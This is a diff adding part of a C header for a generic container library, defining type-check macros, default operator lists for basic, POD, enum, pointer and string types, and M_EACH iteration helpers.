+                  "The variable " M_AS_STR(a) " is not a basic C type (int/float), " \
+                  "but the given methods use it like this. "                  \
+                  "It is likely the given oplist is not the right one.")
+#else
+#define M_CHECK_BASIC_TYPE(a)                                                 \
+  M_STATIC_ASSERT(sizeof (a) <= M_MAX(sizeof(long long),                      \
+                                      M_MAX(sizeof (long double),             \
+                                            sizeof (uintmax_t))),             \
+                  M_LIB_NOT_A_BASIC_TYPE,                                     \
+                  "The variable " M_AS_STR(a) " is too big to be a basic C type (int/float), " \
+                  "but the given methods use it like this. "                  \
+                  "It is likely the given oplist is not the right one.")
+#endif
+
+/* Check if both variables are of the same type.
+   The test compares their types if C23 or GCC compatible compilers
+   else it compares their sizes (Not perfect but catch some errors) */
+#ifdef NDEBUG
+#define M_CHECK_SAME(a, b) (void)0
+#elif defined(__GNUC__) && !defined(__cplusplus)
+#define M_CHECK_SAME(a, b)                                                    \
+  M_STATIC_ASSERT(__builtin_types_compatible_p(m_typeof(a), m_typeof(b)),     \
+                  M_LIB_NOT_SAME_TYPE,                                        \
+                  "The variable " M_AS_STR(a) " and " M_AS_STR(b)             \
+                  " are not of same type.")
+#elif defined(__STDC_VERSION__) && __STDC_VERSION__ >= 202000L
+#define M_CHECK_SAME(a, b)                                                    \
+  M_STATIC_ASSERT(_Generic(&a, m_typeof(b)*: 1, default: 0),                  \
+                  M_LIB_NOT_SAME_TYPE,                                        \
+                  "The variable " M_AS_STR(a) " and " M_AS_STR(b)             \
+                  " are not of same type.")
+#else
+#define M_CHECK_SAME(a, b)                                                    \
+  M_STATIC_ASSERT(sizeof(a) == sizeof(b),                                     \
+                  M_LIB_NOT_SAME_TYPE,                                        \
+                  "The variable " M_AS_STR(a) " and " M_AS_STR(b)             \
+                  " are not of same type.")
+#endif
+
+/* Check if the oplist is compatible with the type.
+   The oplist should define a TYPE method, in which case it is tested.
+   If it is not exported, do nothing.
+   Compare the type in C11, the size in C99 or C++.
+   - name is the base name of the container.
+   - inst is a number which is incremented for each use of this macro
+   within the named container.
+   - type is the type to test
+   - oplist of the oplist to test to.
+*/
+#ifdef NDEBUG
+#define M_CHECK_COMPATIBLE_OPLIST(name, inst, type, oplist)
+#elif defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L
+#define M_CHECK_COMPATIBLE_OPLIST(name, inst, type, oplist)                   \
+  M_IF_METHOD(TYPE, oplist)                                                   \
+  (                                                                           \
+   M_INLINE void M_C3(m_c0re_ctype_, name, inst)(void)                        \
+  {                                                                           \
+    type x;                                                                   \
+    /* Proper check using _Generic */                                         \
+    M_STATIC_ASSERT(_Generic(&x,                                              \
+                             M_GET_TYPE oplist *: 1 /* Ok, type matches */,   \
+                             default: 0 /* NOK, type doesn't match */ ),      \
+                    M_LIB_TYPE_MISTMACH,                                      \
+                    "The given type " M_AS_STR(type)                          \
+                    " and the type of the oplist does not match: "            \
+                    M_OPL_AS_STR(oplist) );                                   \
+  }                                                                           \
+  , /* End of TYPE */)
+#else
+#define M_CHECK_COMPATIBLE_OPLIST(name, inst, type, oplist)                   \
+  M_IF_METHOD(TYPE, oplist)                                                   \
+  (                                                                           \
+   M_INLINE void M_C3(m_c0re_ctype_, name, inst)(void)                        \
+  {                                                                           \
+    /* Imperfect check using size of type */                                  \
+    M_STATIC_ASSERT(sizeof (type) == sizeof (M_GET_TYPE oplist),              \
+                    M_LIB_TYPE_MISTMACH,                                      \
+                    "The given type " M_AS_STR(type)                          \
+                    " and the type of the oplist does not match: "            \
+                    M_OPL_AS_STR(oplist) );                                   \
+  }                                                                           \
+  , /* End of TYPE */)
+#endif
+
+
+/* Define the default method.
+   NOTE: M_SET_DEFAULT may be called in conditions where a and b
+   are different but compatible type.
+ */
+#define M_INIT_DEFAULT(a)       ((a) = 0)
+#define M_SET_DEFAULT(a,b)      ((a) = (b))
+#define M_NOTHING_DEFAULT(...)  ((void)(__VA_ARGS__))
+#define M_EMPTY_DEFAULT(...)    ((void)1)
+#define M_TRUE_DEFAULT(...)     true
+#define M_FALSE_DEFAULT(...)    false
+#define M_EQUAL_DEFAULT(a,b)    ((a) == (b))
+#define M_CMP_DEFAULT(a,b)      ((a) < (b) ? -1 : (a) > (b))
+#define M_ADD_DEFAULT(a,b,c)    ((a) = (b) + (c))
+#define M_SUB_DEFAULT(a,b,c)    ((a) = (b) - (c))
+#define M_MUL_DEFAULT(a,b,c)    ((a) = (b) * (c))
+#define M_DIV_DEFAULT(a,b,c)    ((a) = (b) / (c))
+#define M_AND_DEFAULT(a,b,c)    ((a) = (b) & (c))
+#define M_OR_DEFAULT(a,b,c)     ((a) = (b) | (c))
+#define M_NO_EXT_ALGO(n,co,to)
+#define M_INC_ALLOC_DEFAULT(n)   (M_MAX(8, (n))*2)
+#define M_SWAP_DEFAULT(el1, el2) do {                                         \
+    char _tmp[sizeof (el1)];                                                  \
+    M_CHECK_SAME(el1, el2);                                                   \
+    memcpy(&_tmp, &(el1), sizeof (el1));                                      \
+    memcpy(&(el1), &(el2), sizeof (el1));                                     \
+    memcpy(&(el2), &_tmp, sizeof (el1));                                      \
+  } while (0)
+
+/* Define the method for basic types (int / float) */
+/* Check that the type matches a C basic type and do the job */
+#define M_INIT_BASIC(a)         (M_CHECK_BASIC_TYPE(a), (a) = 0)
+#define M_SET_BASIC(a,b)        (M_CHECK_BASIC_TYPE(a), (a) = (b))
+#define M_EQUAL_BASIC(a,b)      (M_CHECK_BASIC_TYPE(a), (a) == (b))
+#define M_CMP_BASIC(a,b)        (M_CHECK_BASIC_TYPE(a), (a) < (b) ? -1 : (a) > (b))
+
+/* NOTE: Theses operators are NOT compatible with the '[1]' tricks
+   if the variable is defined as a parameter of a function
+   (sizeof (a) is not portable). */
+#define M_RESET_POD(a)      (memset(&(a), 0, sizeof (a)))
+#define M_MEMEQ_POD(a,b)    (M_CHECK_SAME(a, b), memcmp(&(a), &(b), sizeof (a)) == 0)
+#define M_MEMCMP_POD(a,b)   (M_CHECK_SAME(a, b), memcmp(&(a), &(b), sizeof (a)))
+
+/* Default oplist for a plain structure */
+#define M_POD_OPLIST                                                          \
+  (INIT(M_RESET_POD), INIT_SET(M_SET_DEFAULT), SET(M_SET_DEFAULT), CLEAR(M_NOTHING_DEFAULT), \
+   EQUAL(M_MEMEQ_POD), CMP(M_MEMCMP_POD), HASH(M_HASH_POD_DEFAULT), SWAP(M_SWAP_DEFAULT), \
+   INIT_MOVE(M_SET_DEFAULT) )
+
+
+/* NOTE: Theses operators are to be used with array of size 1, the '[1]' tricks
+   if the variable is defined as a parameter of a function
+   (sizeof (a) is not portable). */
+#define M_COPY_A1OBJ(a,b)   (M_CHECK_SAME((a)[0], (b)[0]), memcpy(&((a)[0]), &((b)[0]), sizeof ((a)[0])))
+#define M_RESET_A1OBJ(a)    (memset(&((a)[0]), 0, sizeof ((a)[0])))
+#define M_MEMEQ_A1OBJ(a,b)  (M_CHECK_SAME((a)[0], (b)[0]), memcmp(&((a)[0]), &((b)[0]), sizeof ((a)[0])) == 0)
+#define M_MEMCMP_A1OBJ(a,b) (M_CHECK_SAME((a)[0], (b)[0]), memcmp(&((a)[0]), &((b)[0]), sizeof ((a)[0])))
+#define M_HASH_A1OBJ(a)     (m_core_hash((const void*) &((a)[0]), sizeof ((a)[0])) )
+#define M_SWAP_A1OBJ(a, b)  do {                                              \
+  char _tmp[sizeof ((a)[0])];                                                 \
+  M_CHECK_SAME((a)[0], (b)[0]);                                               \
+  memcpy(&_tmp, &((a)[0]), sizeof ((a)[0]));                                  \
+  memcpy(&((a)[0]), &((b)[0]), sizeof ((a)[0]));                              \
+  memcpy(&((b)[0]), &_tmp, sizeof ((a)[0]));                                  \
+} while (0)
+
+// Obsolete name
+#define M_COPY_A1_DEFAULT M_COPY_A1OBJ
+
+/* Default oplist for a structure defined with an array of size 1.
+   MOVE operator is not defined since the object may need to release some data */
+#define M_A1_OPLIST                                                           \
+  (INIT(M_RESET_A1OBJ), INIT_SET(M_COPY_A1OBJ), SET(M_COPY_A1OBJ), CLEAR(M_NOTHING_DEFAULT), \
+   EQUAL(M_MEMEQ_A1OBJ), CMP(M_MEMCMP_A1OBJ), HASH(M_HASH_A1OBJ), SWAP(M_SWAP_A1OBJ), \
+   INIT_MOVE(M_COPY_A1OBJ) )
+
+
+/* Oplist for a type that does nothing and shall not be instanciated */
+#define M_EMPTY_OPLIST                                                        \
+  (INIT(M_EMPTY_DEFAULT), INIT_SET(M_EMPTY_DEFAULT),                          \
+   SET(M_EMPTY_DEFAULT), CLEAR(M_EMPTY_DEFAULT),                              \
+   INIT_MOVE(M_EMPTY_DEFAULT), MOVE(M_EMPTY_DEFAULT),                         \
+   EQUAL(M_TRUE_DEFAULT), GET_STR(M_EMPTY_DEFAULT),                           \
+   OUT_STR(M_EMPTY_DEFAULT), IN_STR(M_TRUE_DEFAULT),                          \
+   OUT_SERIAL(M_EMPTY_DEFAULT), IN_SERIAL(M_TRUE_DEFAULT),                    \
+   PARSE_STR(M_TRUE_DEFAULT))
+
+
+/* Default oplist for C standard types (int & float).
+   Implement generic out_str/in_str/parse_str/get_str function if using C11.
+   Add FILE I/O if stdio.h has been included
+*/
+#if defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L
+
+# if M_USE_STDIO
+/* C11 + FILE support */
+#  define M_BASIC_OPLIST                                                      \
+  (INIT(M_INIT_BASIC), INIT_SET(M_SET_BASIC), SET(M_SET_BASIC),               \
+   CLEAR(M_NOTHING_DEFAULT), EQUAL(M_EQUAL_BASIC), CMP(M_CMP_BASIC),          \
+   INIT_MOVE(M_SET_DEFAULT), MOVE(M_SET_DEFAULT) ,                            \
+   RESET(M_INIT_BASIC), PROPERTIES( (NOCLEAR(1)) ),                           \
+   ADD(M_ADD_DEFAULT), SUB(M_SUB_DEFAULT),                                    \
+   MUL(M_MUL_DEFAULT), DIV(M_DIV_DEFAULT),                                    \
+   HASH(M_HASH_DEFAULT), SWAP(M_SWAP_DEFAULT) ,                               \
+   IN_STR(M_FSCAN_ARG M_IPTR), OUT_STR(M_FPRINT_ARG),                         \
+   IN_SERIAL(M_IN_SERIAL_DEFAULT_ARG M_IPTR), OUT_SERIAL(M_OUT_SERIAL_DEFAULT_ARG), \
+   PARSE_STR(M_PARSE_DEFAULT_TYPE M_IPTR), M_GET_STR_METHOD_FOR_DEFAULT_TYPE)
+# else
+/* C11 + No FILE support */
+#   define M_BASIC_OPLIST                                                     \
+  (INIT(M_INIT_BASIC), INIT_SET(M_SET_BASIC), SET(M_SET_BASIC),               \
+   CLEAR(M_NOTHING_DEFAULT), EQUAL(M_EQUAL_BASIC), CMP(M_CMP_BASIC),          \
+   INIT_MOVE(M_SET_DEFAULT), MOVE(M_SET_DEFAULT) ,                            \
+   RESET(M_INIT_BASIC), PROPERTIES( (NOCLEAR(1)) ),                           \
+   ADD(M_ADD_DEFAULT), SUB(M_SUB_DEFAULT),                                    \
+   MUL(M_MUL_DEFAULT), DIV(M_DIV_DEFAULT),                                    \
+   HASH(M_HASH_DEFAULT), SWAP(M_SWAP_DEFAULT) ,                               \
+   IN_SERIAL(M_IN_SERIAL_DEFAULT_ARG M_IPTR), OUT_SERIAL(M_OUT_SERIAL_DEFAULT_ARG), \
+   PARSE_STR(M_PARSE_DEFAULT_TYPE M_IPTR), M_GET_STR_METHOD_FOR_DEFAULT_TYPE)
+# endif
+#else
+/* C99 */
+# define M_BASIC_OPLIST                                                       \
+  (INIT(M_INIT_BASIC), INIT_SET(M_SET_BASIC), SET(M_SET_BASIC),               \
+   CLEAR(M_NOTHING_DEFAULT), EQUAL(M_EQUAL_BASIC), CMP(M_CMP_BASIC),          \
+   INIT_MOVE(M_SET_DEFAULT), MOVE(M_SET_DEFAULT) ,                            \
+   RESET(M_INIT_BASIC), PROPERTIES( (NOCLEAR(1)) ),                           \
+   ADD(M_ADD_DEFAULT), SUB(M_SUB_DEFAULT),                                    \
+   MUL(M_MUL_DEFAULT), DIV(M_DIV_DEFAULT),                                    \
+   HASH(M_HASH_DEFAULT), SWAP(M_SWAP_DEFAULT)                         )
+#endif
+
+/* Obsolete name */
+#define M_DEFAULT_OPLIST M_BASIC_OPLIST
+
+/* Specialized oplist for a boolean.
+ * M_BASIC_OPLIST is nearly ok, except for ADD/SUB/MUL/DIV
+ * that generates warnings with boolean.
+ */
+#define M_BOOL_OPLIST                                                         \
+  M_OPEXTEND(M_BASIC_OPLIST, TYPE(_Bool), ADD(M_OR_DEFAULT), MUL(M_AND_DEFAULT), \
+              SUB(0), DIV(0))
+
+
+/* Specialized oplist for an enumerate.
+ * M_BASIC_OPLIST is nearly ok, except if build in C++ mode.
+ * Also I/O are specialized and arithmetics are removed
+ * OPLIST doesn't store an oplist but an additional parameter
+ * (the initial value)
+ */
+#if M_USE_STDIO
+/*  FILE support */
+#define M_ENUM_OPLIST(type, init)                                             \
+  (INIT(API_1(M_ENUM_INIT)), INIT_SET(M_SET_DEFAULT),                         \
+   SET(M_SET_DEFAULT), CLEAR(M_NOTHING_DEFAULT),                              \
+   EQUAL(M_EQUAL_DEFAULT), CMP(M_CMP_DEFAULT),                                \
+   INIT_MOVE(M_SET_DEFAULT), MOVE(M_SET_DEFAULT) ,                            \
+   HASH(M_HASH_POD_DEFAULT), SWAP(M_SWAP_DEFAULT),                            \
+   TYPE(type), OPLIST(init),                                                  \
+   IN_STR(API_1(M_ENUM_FSCAN)), OUT_STR(M_ENUM_FPRINT),                       \
+   IN_SERIAL(API_1(M_ENUM_IN_SERIAL)), OUT_SERIAL(M_ENUM_OUT_SERIAL),         \
+   PARSE_STR(API_1(M_ENUM_PARSE)), M_GET_STR_METHOD_FOR_ENUM_TYPE             \
+  )
+#else
+/* No File support */
+#define M_ENUM_OPLIST(type, init)                                             \
+  (INIT(API_1(M_ENUM_INIT)), INIT_SET(M_SET_DEFAULT),                         \
+   SET(M_SET_DEFAULT), CLEAR(M_NOTHING_DEFAULT),                              \
+   EQUAL(M_EQUAL_DEFAULT), CMP(M_CMP_DEFAULT),                                \
+   INIT_MOVE(M_SET_DEFAULT), MOVE(M_SET_DEFAULT) ,                            \
+   HASH(M_HASH_POD_DEFAULT), SWAP(M_SWAP_DEFAULT),                            \
+   TYPE(type), OPLIST(init),                                                  \
+   IN_SERIAL(API_1(M_ENUM_IN_SERIAL)), OUT_SERIAL(M_ENUM_OUT_SERIAL),         \
+   PARSE_STR(API_1(M_ENUM_PARSE)), M_GET_STR_METHOD_FOR_ENUM_TYPE             \
+   )
+#endif /* M_USE_STDIO */
+
+/* It will be overloaded if m-string.h is included */
+#define M_GET_STR_METHOD_FOR_ENUM_TYPE
+
+/* Initialize an enum to its init value */
+#define M_ENUM_INIT(oplist, var)                                              \
+  ((var) = M_GET_OPLIST oplist )
+
+/* Define helper functions for enum oplist */
+/* Input/Output an enumerate.
+   It is stored as a long long integer for best compatibility. */
+#if M_USE_STDIO
+M_INLINE long long
+m_core_fscan_enum (FILE *f)
+{
+  long long ret;
+  int s = m_core_fscanf(f, "%lld", &ret) == 1;
+  /* HACK: Push back the return code in FILE stream,
+     so that it can be popped later with a fgetc */
+  ungetc(s, f);
+  return ret;
+}
+#define M_ENUM_FPRINT(f, var) fprintf( (f), "%lld", (long long) (var))
+#define M_ENUM_FSCAN(oplist, var, f)                                          \
+  ( var = (M_GET_TYPE oplist) (true ? m_core_fscan_enum(f) : 0), fgetc(f))
+#endif /* M_USE_STDIO */
+
+/* HACK: Parse two times to convert and then compute
+   if the conversion succeeds for PARSE */
+M_INLINE long long
+m_core_parse1_enum (const char str[])
+{
+  return strtoll(str, NULL, 10);
+}
+M_INLINE bool
+m_core_parse2_enum (const char str[], const char **endptr)
+{
+  char *end;
+  strtoll(str, &end, 10);
+  if (endptr != NULL) *endptr = end;
+  return end != str;
+}
+
+#define M_ENUM_OUT_SERIAL(serial, var)                                        \
+  ((serial)->m_interface->write_integer(serial, (long long) (var), sizeof (var)))
+#define M_ENUM_IN_SERIAL(oplist, var, serial)                                 \
+  ( var = (M_GET_TYPE oplist)(true ? m_core_in_serial_enum(serial) : 0), (serial)->tmp.r)
+#define M_ENUM_GET_STR(str, var, append)                                      \
+  ((append ? m_string_cat_printf : m_string_printf) M_R(str, "%lld", (long long) (var) ))
+#define M_ENUM_PARSE(oplist, var, str, endptr)                                \
+  ( var = (M_GET_TYPE oplist) (true ? m_core_parse1_enum(str) : 0), m_core_parse2_enum(str, endptr))
+
+
+/* Default oplist for standard types of pointers (not smart pointers, not handling ownership)
+ */
+#define M_PTR_OPLIST                                                          \
+  (INIT(M_INIT_DEFAULT), INIT_SET(M_SET_DEFAULT), SET(M_SET_DEFAULT), CLEAR(M_NOTHING_DEFAULT), \
+   EQUAL(M_EQUAL_DEFAULT), SWAP(M_SWAP_DEFAULT)                               \
+   INIT_MOVE(M_SET_DEFAULT), MOVE(M_SET_DEFAULT) )
+
+
+/* Default oplist for complex objects (using [1] trick) with "classic" names for methods.
+ */
+#define M_CLASSIC_OPLIST(name) (                                              \
+  INIT(M_F(name, _init)), INIT_SET(M_F(name, _init_set)), SET(M_F(name, _set)), CLEAR(M_F(name, _clear)), \
+  INIT_MOVE(M_COPY_A1OBJ), TYPE(M_F(name, _t)) )
+
+
+/* Default oplist for 'const char *' string (with NO memory allocation).
+ */
+#define M_CSTR_EQUAL(a,b) (strcmp((a),(b)) == 0)
+#define M_CSTR_OUT_STR(file, str) fprintf(file, "%s", str)
+#define M_CSTR_OPLIST                                                         \
+  (INIT(M_INIT_DEFAULT), INIT_SET(M_SET_DEFAULT), SET(M_SET_DEFAULT), CLEAR(M_NOTHING_DEFAULT), \
+   HASH(m_core_cstr_hash), EQUAL(M_CSTR_EQUAL), CMP(strcmp), SWAP(M_SWAP_DEFAULT), \
+   INIT_MOVE(M_SET_DEFAULT), MOVE(M_SET_DEFAULT), TYPE(const char *),         \
+   OUT_STR(M_CSTR_OUT_STR) )
+
+/****************************************************************************/
+
+/* From an oplist (...) return ... (Like M_ID but for OPLIST) */
+#define M_OPFLAT(...)     __VA_ARGS__
+
+/* Concat two oplists in one. op1 will have higher priority to op2 */
+// Obsolete macro (never used)
+#define M_OPCAT(op1,op2) (M_OPFLAT op1, M_OPFLAT op2)
+
+/* Apply an oplist */
+#define M_OPAPPLY(a, oplist)  a oplist
+
+/* Extend an oplist by adding some methods.
+   These methods will have higher priority than the ones in the oplist.
+   Example:
+    M_OPEXTEND(M_BASIC_OPLIST, ADD(M_ADD_DEFAULT), SUB(M_SUB_DEFAULT))
+*/
+#define M_OPEXTEND(op, ...) (__VA_ARGS__, M_OPFLAT op)
+
+/* Return the content of a property named 'propname' 
+   in the PROPERTIES field of oplist
+   or 0, if it is not defined */
+#define M_GET_PROPERTY(oplist, propname)                                      \
+  M_GET_METHOD (propname, 0, M_OPFLAT M_GET_PROPERTIES oplist)
+
+/* Test if a method is present in an oplist.
+   Return 0 (method is absent or disabled) or 1 (method is present and not disabled).
+   NOTE: M_TEST_METHOD_P does not work if method is something within parenthesis (like OPLIST*)
+   In this case, you shall use the M_TEST_METHOD_ALTER_P macro (safer but slower).
+ */
+#define M_TEST_METHOD_P(method, oplist)                                       \
+  M_BOOL(M_GET_METHOD (method, 0, M_OPFLAT oplist))
+
+#define M_TEST_METHOD_ALTER_P(method, oplist)                                 \
+  M_INV(M_EMPTY_P(M_GET_METHOD (method, , M_OPFLAT oplist)))
+
+
+/* Test if a method is disabled in an oplist.
+   To disable an oplist, just put '0' in the method like this:
+   Example: (INIT(0), CLEAR(clear))
+   Here INIT is disabled, whereas CLEAR is not.
+   Return 1 (method is disabled) or 0 (method is not disabled - absent or present) */
+#define M_TEST_DISABLED_METHOD_P(method, oplist)                              \
+  M_INV(M_BOOL(M_GET_METHOD (method, 1, M_OPFLAT oplist)))
+
+/* Perfom a preprocessing M_IF, if the method is present in the oplist.
+   Example: M_IF_METHOD(HASH, oplist)(define function with HASH method, ) */
+#define M_IF_METHOD(method, oplist) M_IF(M_TEST_METHOD_P(method, oplist))
+
+/* Perfom a preprocessing M_IF, if the method is disabled in the oplist.
+   Example: M_IF_DISABLED_METHOD(HASH, oplist)(define function without HASH method, ) */
+#define M_IF_DISABLED_METHOD(method, oplist) M_IF(M_TEST_DISABLED_METHOD_P(method, oplist))
+
+/* Perform a preprocessing M_IF if the method exists in both oplist.
+   Example: M_IF_METHOD_BOTH(HASH, oplist1, oplist2) (define function with HASH method, ) */
+#define M_IF_METHOD_BOTH(method, oplist1, oplist2)                            \
+  M_IF(M_AND(M_TEST_METHOD_P(method, oplist1), M_TEST_METHOD_P(method, oplist2)))
+
+/* Perform a preprocessing M_IF if both methods exist in the oplist.
+   Example: M_IF_METHOD2(HASH, CMP, oplist) (define function with HASH & CMP method, ) */
+#define M_IF_METHOD2(method1, method2, oplist)                                \
+  M_IF(M_AND(M_TEST_METHOD_P(method1, oplist), M_TEST_METHOD_P(method2, oplist)))
+
+/* Perform a preprocessing M_IF if all 3 methods exist in the oplist.
+   Example: M_IF_METHOD3(HASH, CMP, INIT, oplist) (define function with HASH & CMP & INIT method, ) */
+#define M_IF_METHOD3(method1, method2, method3, oplist)                       \
+  M_IF(M_AND3(M_TEST_METHOD_P(method1, oplist), M_TEST_METHOD_P(method2, oplist), M_TEST_METHOD_P(method3, oplist)))
+
+/* Perform a preprocessing M_IF if at least one method exists in the oplist.
+   Example: M_IF_AT_LEAST_METHOD(HASH, CMP, oplist) (define function with HASH or CMP method, ) */
+#define M_IF_AT_LEAST_METHOD(method1, method2, oplist)                        \
+  M_IF(M_OR(M_TEST_METHOD_P(method1, oplist), M_TEST_METHOD_P(method2, oplist)))
+
+/* Perform a preprocessing M_IF if both methods exists in both oplist.
+   Example: M_IF_METHOD2_BOTH(HASH, INIT, oplist1, oplist2) (define function with HASH & INIT method, ) */
+#define M_IF_METHOD2_BOTH(method1, method2, oplist1, oplist2)                 \
+  M_IF(M_AND(M_AND(M_TEST_METHOD_P(method1, oplist1), M_TEST_METHOD_P(method1, oplist2)), \
+             M_AND(M_TEST_METHOD_P(method2, oplist1), M_TEST_METHOD_P(method2, oplist2))))
+
+/* Perform a preprocessing M_IF if the method exists for all oplist.
+   Example: M_IF_METHOD_ALL(HASH, oplist1, oplist2) (define function with HASH method, ) */
+#define M_IF_METHOD_ALL(method, ...)                                          \
+  M_IF(M_REDUCE2(M_TEST_METHOD_P, M_AND, method, __VA_ARGS__))
+
+/* Perform a preprocessing M_IF if both methods exist for all oplist.
+   Example: M_IF_METHOD2_ALL(HASH, INIT, oplist1, oplist2) (define function with HASH & INIT methods,  ) */
+#define M_IF_METHOD2_ALL(method1, method2, ...)                               \
+  M_IF(M_REDUCE2(M_TEST_METHOD2_P, M_AND, (method1, method2), __VA_ARGS__))
+#define M_TEST_METHOD2_P(method_pair, oplist)                                 \
+  M_AND(M_TEST_METHOD_P(M_PAIR_1 method_pair, oplist), M_TEST_METHOD_P(M_PAIR_2 method_pair, oplist))
+
+/* By putting this after a method in an oplist, we transform the argument list
+   so that the first argument becomes a pointer to the destination (OBSOLETE MACRO) */
+#define M_IPTR(...) ( & __VA_ARGS__ )
+
+/* Perform a MOVE if present, or emulate it using CLEAR/INIT_MOVE
+   if possible, or with SET/CLEAR otherwise                            */
+#define M_DO_MOVE(oplist, dest, src) do {                                     \
+    M_IF_METHOD(MOVE, oplist)       (M_CALL_MOVE(oplist, (dest), (src)),      \
+        M_IF_METHOD(INIT_MOVE, oplist)(M_CALL_CLEAR(oplist, (dest));          \
+                       M_CALL_INIT_MOVE(oplist, (dest), (src)),               \
+                                       M_CALL_SET(oplist, (dest), (src));     \
+                                       M_CALL_CLEAR(oplist, (src))            \
+                                   ));                                        \
+  } while (0)
+
+/* Provide SET semantics through INIT_SET. Needs API_1 */
+#define M_SET_THROUGH_INIT_SET(oplist, dst, src)                              \
+  ( M_CALL_CLEAR(oplist, dst), M_CALL_INIT_SET(oplist, dst, src) )
+
+/* Test if the argument is an expression that looks like an oplist:
+ * - the data are within parenthesis
+ * - there is only one level of parenthesis
+ * The detection is imperfect.
+*/
+#define M_OPLIST_P(a)                                                         \
+  M_AND(M_PARENTHESIS_P(a), M_INV(M_PARENTHESIS_P (M_OPFLAT a)))
+
+#define M_IF_OPLIST(a) M_IF(M_OPLIST_P(a))
+
+/* If 'a' seems to be an oplist, it returns a,
+   else if a symbol composed of M_OPL_##a() exists and is defined as an oplist, it returns it
+   else it returns a (but it is likely to fail latter).
+   In short, if a global oplist is defined for the argument, it returns it
+   otherwise it returns the argument.
+   Global oplist is limited to typedef types.
+   We need to delay the concat between M_OPL_ and a until we know it cannot be an oplist
+   as if a is an oplist the concat of M_OPL_ and an oplist will produce an illegal token.
+*/
+#define M_GLOBAL_OPLIST(a)                                                    \
+  M_IF( M_OPLIST_P(a))(M_GLOBALI_OPLIST_ID, M_GLOBALI_OPLIST_ELSE)(a)
+#define M_GLOBALI_OPLIST_ID(a)              a
+#define M_GLOBALI_OPLIST_ELSE(a)            M_GLOBALI_OPLIST_ELSE2(a, M_C(M_OPL_, a)())
+#define M_GLOBALI_OPLIST_ELSE2(a, op)       M_IF( M_OPLIST_P (op))(op, a)
+
+#define M_GLOBAL_TYPE(a)                                                      \
+  M_IF( M_OPLIST_P(a))(M_GLOBALI_TYPE_GET, M_GLOBALI_OPLIST_ID)(a)
+#define M_GLOBALI_TYPE_GET(a)              M_GET_TYPE a
+
+/* If a symbol composed of M_OPL_##a() exists and is defined as an oplist,
+   it returns it otherwise it returns M_BASIC_OPLIST.
+   Global oplist is limited to typedef types.
+   NOTE1: It first tests if the type doesn't start with a parenthesis,
+   in which case concatenation cannot be used.
+   NOTE: It doesn't test if M_OPL_##a() is exactly an oplist (M_OPLIST_P)
+   but rather than if it starts with parenthesis: this is to allow
+   M_OPL_a() to expand into an invalid oplist ((M_LIB_ERROR()))
+   NOTE: The result of this macro shall be evaluated like this:
+       M_GLOBAL_OPLIST_OR_DEF(type)()
+*/
+#define M_GLOBAL_OPLIST_OR_DEF(a)                                             \
+  M_IF( M_PARENTHESIS_P(a))(M_GLOBALI_OPLIST_DEFAULT1, M_GLOBALI_OPLIST_OR_DEF_ELSE)(a)
+#define M_GLOBALI_OPLIST_DEFAULT1(a)          M_GLOBALI_OPLIST_DEFAULT2
+#define M_GLOBALI_OPLIST_DEFAULT2()           M_BASIC_OPLIST
+#define M_GLOBALI_OPLIST_OR_DEF_ELSE(a)       M_GLOBALI_OPLIST_OR_DEF_ELSE2(a, M_C(M_OPL_, a)())
+#define M_GLOBALI_OPLIST_OR_DEF_ELSE2(a, op)  M_IF( M_PARENTHESIS_P(op))(M_C(M_OPL_, a), M_GLOBALI_OPLIST_DEFAULT2)
+
+
+/* Register simple classic C types (no qualifier)
+ * We cannot register type with qualifier (for example long long) however.
+ */
+#define M_OPL_char() M_OPEXTEND(M_BASIC_OPLIST, TYPE(char))
+#define M_OPL_short() M_OPEXTEND(M_BASIC_OPLIST, TYPE(short))
+#define M_OPL_int() M_OPEXTEND(M_BASIC_OPLIST, TYPE(int))
+#define M_OPL_unsigned() M_OPEXTEND(M_BASIC_OPLIST, TYPE(unsigned))
+#define M_OPL_long() M_OPEXTEND(M_BASIC_OPLIST, TYPE(long))
+#define M_OPL_float() M_OPEXTEND(M_BASIC_OPLIST, TYPE(float))
+#define M_OPL_double() M_OPEXTEND(M_BASIC_OPLIST, TYPE(double))
+#define M_OPL_bool()   M_BOOL_OPLIST
+#define M_OPL__Bool()  M_BOOL_OPLIST
+
+
+/************************************************************/
+/******************** Syntax Enhancing **********************/
+/************************************************************/
+
+/* M_EACH enables iterating over a container using a for loop.
+   First argument will be a created pointer var to the underlying type.
+   Second argument is the container to iterate.
+   Third argument can be the oplist of the list or the type of the list if a global
+   oplist has been recorded.
+   USAGE: for M_EACH(item, list, LIST_OPLIST) { action; } 
+*/
+#define M_EACH(item, container, oplist)                                       \
+  M_EACHI_OPLIST(item, container, M_GLOBAL_OPLIST(oplist))
+
+/* Internal for M_EACH */
+#define M_EACHI_OPLIST(item, container, oplist)                               \
+  M_IF_METHOD(IT_REF, oplist)(M_EACHI, M_EACHI_CONST)                         \
+  (item, container, oplist, M_C(local_iterator_, __LINE__),                   \
+   M_C(local_cont_, __LINE__))
+
+/* Internal for M_EACH with M_GET_IT_REF operator */
+#define M_EACHI(item,container,oplist, iterator, cont)                        \
+  (bool cont = true; cont; cont = false)                                      \
+  for(M_GET_SUBTYPE oplist *item; cont ; cont = false)                        \
+    for(M_GET_IT_TYPE oplist iterator; cont ; cont = false)                   \
+      for(M_GET_IT_FIRST oplist (iterator, container) ;                       \
+          !M_GET_IT_END_P oplist (iterator)                                   \
+            && (item = M_GET_IT_REF oplist (iterator), true) ;                \
+          M_GET_IT_NEXT oplist (iterator))
+
+/* Internal for M_EACH with M_GET_IT_CREF operator */
+#define M_EACHI_CONST(item,container,oplist, iterator, cont)                  \
+  (bool cont = true; cont; cont = false)                                      \
+  for(const M_GET_SUBTYPE oplist *item; cont ; cont = false)                  \
+    for(M_GET_IT_TYPE oplist iterator; cont ; cont = false)                   \
+      for(M_GET_IT_FIRST oplist (iterator, container) ;                       \
+          !M_GET_IT_END_P oplist (iterator)                                   \
+            && (item = M_GET_IT_CREF oplist (iterator), true) ;               \
+          M_GET_IT_NEXT oplist (iterator))
+
+
+/* M_LET defines, initializes & clears an object available within the next bracket.
+   USAGE:
+   M_LET(variable_list, variable_oplist|variable_type) { code }
+   * variable_list can be a comma separated list of variable.
+   * A variable alone is initialized to its default value.
+   * A variable with initializer (like '(var, init value...)' 
+      is initialized with this init values.
+   NOTE: The code within {} can not perform return or goto command.
+   break is supported and will exit the braket (calling the clear method)
+   Last argument can be the oplist or the type itself if a global
+   oplist has been recorded for this type.
+ */
